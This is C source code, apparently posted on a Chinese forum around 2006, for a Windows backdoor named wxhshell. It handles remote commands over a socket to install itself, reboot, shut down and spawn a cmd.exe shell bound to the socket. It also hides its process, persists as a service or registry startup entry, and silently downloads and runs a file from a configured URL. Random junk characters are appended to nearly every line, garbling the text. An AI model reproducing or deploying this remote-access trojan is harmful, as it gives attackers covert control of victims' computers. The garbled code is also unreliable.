      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7ou46v|m5  
    break; wFlvi=n/  
  } ha;l(U>  
  // 安装 JK#vkCkyM  
  case 'i': { P6Bl *@G  
    if(Install()) Fv?=Z-wk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w:o-klKXY  
    else ,jy*1Hjd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FVF-:C  
    break; Io2mWvu?5  
    } 'f/Lv@]a  
  // 卸载 O`cu_  
  case 'r': { U},=LsDsW4  
    if(Uninstall()) Fk^3a'/4KJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R*1kR|*_)  
    else 5 waw`F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {+("C] b  
    break; y?30_#[dN  
    } G>T')A  
  // 显示 wxhshell 所在路径 ly4Qg\l  
  case 'p': { |'HLz=5\  
    char svExeFile[MAX_PATH]; >s*DrfX6  
    strcpy(svExeFile,"\n\r"); mnF}S5[9  
      strcat(svExeFile,ExeFile); BOf1J1  
        send(wsh,svExeFile,strlen(svExeFile),0); qH%")7>  
    break; K.>wQA&  
    } :ipoD%@  
  // 重启 ]!YtH]}  
  case 'b': { FE5Q?*Ea  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); T bE:||r?^  
    if(Boot(REBOOT)) ,[48Mspp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j!#O G  
    else { ;5|1M8]=0  
    closesocket(wsh); 00vBpsZj2;  
    ExitThread(0); sDiHXDI_m  
    } ?~ULIO'  
    break; 2%rLoL$Y2+  
    } #] KgUc5B  
  // 关机 |qjZ38;6  
  case 'd': { &m{'nRU}c  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); LZ~`29qw(  
    if(Boot(SHUTDOWN)) 32XS`Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gb-{2p>}  
    else { k{Lv37H  
    closesocket(wsh); v ahoSc;sw  
    ExitThread(0); ):6 -  
    } 8<PKKDgbfd  
    break; J=WB6zi  
    } 3 (lVmfk  
  // 获取shell IS_Su;w>4  
  case 's': { LPE)  
    CmdShell(wsh); :\}U9QfCw  
    closesocket(wsh); z-u?s`k**  
    ExitThread(0); ]W9B6G_  
    break; o42`z>~  
  } m/${8  
  // 退出 .gD km^  
  case 'x': { `^8*<+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Lar r}o=  
    CloseIt(wsh); O*7i } \{  
    break; e@ oWwhpE  
    } 79ZxqvB\  
  // 离开 3VP$x@AV  
  case 'q': { k ojG- M  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); h[U7!aM  
    closesocket(wsh); O~'FR[J  
    WSACleanup(); 8M93cyX  
    exit(1); 9O >z4o  
    break; mTjm92  
        } ,YlQK;  
  } ba&o;BLUy  
  } j+>Q#&h9  
1X:&* a"5  
  // 提示信息 ~%P3Pp  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /2w@ K_Px6  
} n6cq\@~A  
  } QMb^&?;s  
|cu`f{E2]  
  return; iwo$\  
} jsWX 6(=  
-3k;u  
// shell模块句柄 BTs0o&}e  
int CmdShell(SOCKET sock) .eTk=i[N-  
{ Hja^edLj  
STARTUPINFO si; u+DX$#-n!]  
ZeroMemory(&si,sizeof(si)); Z3`2-r_=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Sh$U-ch@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4WG=m}X  
PROCESS_INFORMATION ProcessInfo; %BICt @E  
char cmdline[]="cmd"; 'z](xG<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =h[yA f  
  return 0; `]&*`9IK{  
} bX&e_Pd  
;+9(;  
// 自身启动模式 ^2JPyyZa  
int StartFromService(void) "OJr*B  
{ Q 3X  
typedef struct V0T<eH<  
{ ;_p fwa4  
  DWORD ExitStatus; WVkG 2  
  DWORD PebBaseAddress; vnVZJ}]w\  
  DWORD AffinityMask; 5% 'S  
  DWORD BasePriority; *#GDi'0  
  ULONG UniqueProcessId; N1s.3`  
  ULONG InheritedFromUniqueProcessId; _Z.;u0Zp8  
}   PROCESS_BASIC_INFORMATION; X\'E4  
##2`5i-x  
PROCNTQSIP NtQueryInformationProcess; PS/W h  
a+'}XEhSC:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Z?C4a }  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; nHVPMi>  
rFO_fIJno  
  HANDLE             hProcess; %A=|'6)k2  
  PROCESS_BASIC_INFORMATION pbi; <L2GUX36#  
 )Oo2<:"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *bU% @O  
  if(NULL == hInst ) return 0; e@yx}:]h  
<B=[hk!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); k_BSY=$e*D  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [xWEf#', !  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !^]q0x  
9D%qXU  
  if (!NtQueryInformationProcess) return 0; hi0XVC95  
{9Db9K^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )FV6,  
  if(!hProcess) return 0; ~R'BU=!;F  
f~U#z7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *^ey]),f54  
cNx \&vpd  
  CloseHandle(hProcess); Xn PJC'  
\+G.]|"Y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \4/:^T}*  
if(hProcess==NULL) return 0; T<XfZZ)l<`  
|$Qp0vOA}  
HMODULE hMod; |1lf(\T_  
char procName[255]; F:M/z#:~  
unsigned long cbNeeded; g(KK9Unu  
L!?v BL  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >eEnQ}Y  
Tw}@+-  
  CloseHandle(hProcess); u"*J[M~  
?rAi=w&c  
if(strstr(procName,"services")) return 1; // 以服务启动 8?A@/  
>).@Nb;e  
  return 0; // 注册表启动 YGfA qI y  
} D7EXqo  
q|R+x7x  
// 主模块 V[4(~,9  
int StartWxhshell(LPSTR lpCmdLine) p .lu4  
{ H]Y#pL u|  
  SOCKET wsl; 0W;q!H[G  
BOOL val=TRUE; _RN/7\  
  int port=0; gkSGRshf  
  struct sockaddr_in door; ZYrKG+fkl  
0T7M_G'5Q  
  if(wscfg.ws_autoins) Install(); aIQrb  
#"=%b e3  
port=atoi(lpCmdLine); yBr$ 0$  
BT&rp%NO6l  
if(port<=0) port=wscfg.ws_port; A"Tc^Ij  
;Gjv9:hUn  
  WSADATA data; 9"m, p  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; s4!|v`+$M  
m]bL)]Z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   E6,`Ld;c[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^nG1/}  
  door.sin_family = AF_INET; VC/R)%@%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Rh!L'? C  
  door.sin_port = htons(port); (k7;  
|U8>:DEl  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { e}{8a9J<%_  
closesocket(wsl); SS >:Sw  
return 1; 43UJ#rF  
} {Bav$kw;?e  
*O"%tp6  
  if(listen(wsl,2) == INVALID_SOCKET) { D<+ bzC  
closesocket(wsl); ,apd3X%g  
return 1; [V!^\g\6  
} u.ULS3`C/X  
  Wxhshell(wsl); a7QlU=\  
  WSACleanup(); 7H8GkuO  
{jj]K.&  
return 0; T{5M1r  
|U;w!0  
} K8yWg\K  
5Ws:Ei{R  
// 以NT服务方式启动 d +*T@k]>M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ZwY`x')  
{ ,*9#c*'S  
DWORD   status = 0; DzX6U[=  
  DWORD   specificError = 0xfffffff; {,nd_3"Vq  
OF<[Nh\.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~m,mvRS  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^*$WZMMJ1  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; FvtM~[Q  
  serviceStatus.dwWin32ExitCode     = 0; =CD:.FG.  
  serviceStatus.dwServiceSpecificExitCode = 0; q\{;_?a  
  serviceStatus.dwCheckPoint       = 0; VfJX<e=k  
  serviceStatus.dwWaitHint       = 0; S[\cT:{OE  
8yJk81 gY  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -7C=- \]  
  if (hServiceStatusHandle==0) return; W2X+N acD  
#U6/@l)  
status = GetLastError(); <E(-QJ  
  if (status!=NO_ERROR) ]8q%bsl+  
{  K2vPj|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; A7I8Z6&  
    serviceStatus.dwCheckPoint       = 0; A-@-?AR  
    serviceStatus.dwWaitHint       = 0; ;1(qGy4  
    serviceStatus.dwWin32ExitCode     = status; %Pt[3>  
    serviceStatus.dwServiceSpecificExitCode = specificError; W+-f `  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [\ w>{  
    return; Si%Eimiq  
  } <)0LwkFtB  
st1M.}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; U`vt/#j 1  
  serviceStatus.dwCheckPoint       = 0; *SAcH_I2$>  
  serviceStatus.dwWaitHint       = 0; I{X@<o}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); l*V72!Mv  
} JqH.QnKcv  
z;@S_0M,Z  
// 处理NT服务事件,比如:启动、停止 `(w kqa  
VOID WINAPI NTServiceHandler(DWORD fdwControl) iR4,$Nn>  
{ qkyX*_}  
switch(fdwControl) ::Ve,-0  
{ s#8{:ko  
case SERVICE_CONTROL_STOP: u{y5'cJ{  
  serviceStatus.dwWin32ExitCode = 0; 'rcsK  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; lf7H8k,-  
  serviceStatus.dwCheckPoint   = 0; W1M/Z[h6)5  
  serviceStatus.dwWaitHint     = 0; r%?}5"*  
  { Bg 8t'dw?K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C8%nBa /  
  } 8i+jFSZ$  
  return; ,hcBiL/  
case SERVICE_CONTROL_PAUSE: _ d"Y6 0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; l>Oe ,`9O  
  break; (l,YI"TzT  
case SERVICE_CONTROL_CONTINUE: r|sy_Sk/{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; lVK F^-i  
  break; TTjjyZ@  
case SERVICE_CONTROL_INTERROGATE: OTr!?xi  
  break; m:o$|7r  
}; ieK'<%dxF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P|QnZ){  
}  6-E4)0\  
Ql!6I(  
// 标准应用程序主函数 |@uhq>&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [_z2z6  
{ ?F:C!_  
gj(l&F *@  
// 获取操作系统版本 [ @71  
OsIsNt=GetOsVer(); Y K62#;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); CpJXLc3_d5  
G;.u>92r|  
  // 从命令行安装 kO O~%|1CP  
  if(strpbrk(lpCmdLine,"iI")) Install(); LHGK!zI  
*xX0]{49q  
  // 下载执行文件 "gVH;<&]  
if(wscfg.ws_downexe) { T"jDq1C/,E  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) R yIaT  
  WinExec(wscfg.ws_filenam,SW_HIDE); dXSb%ho  
} +=F);;!  
0Nzv@g{3  
if(!OsIsNt) { ZtZV:re=  
// 如果时win9x,隐藏进程并且设置为注册表启动 C'#)bX{  
HideProc(); m_W.r+s~C4  
StartWxhshell(lpCmdLine); +R jD\6bJb  
} ,}$x'8v  
else i7E7%~S  
  if(StartFromService()) I.0Usa"z  
  // 以服务方式启动 e(5Px!B  
  StartServiceCtrlDispatcher(DispatchTable); Ptxc9~k  
else ]$%4;o4O  
  // 普通方式启动 <\Dl#DH  
  StartWxhshell(lpCmdLine); }E] &13>r  
s.Ic3ITd,  
return 0; Qpu2RfP  
}
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只看该作者 1 发表于: 2006-10-10
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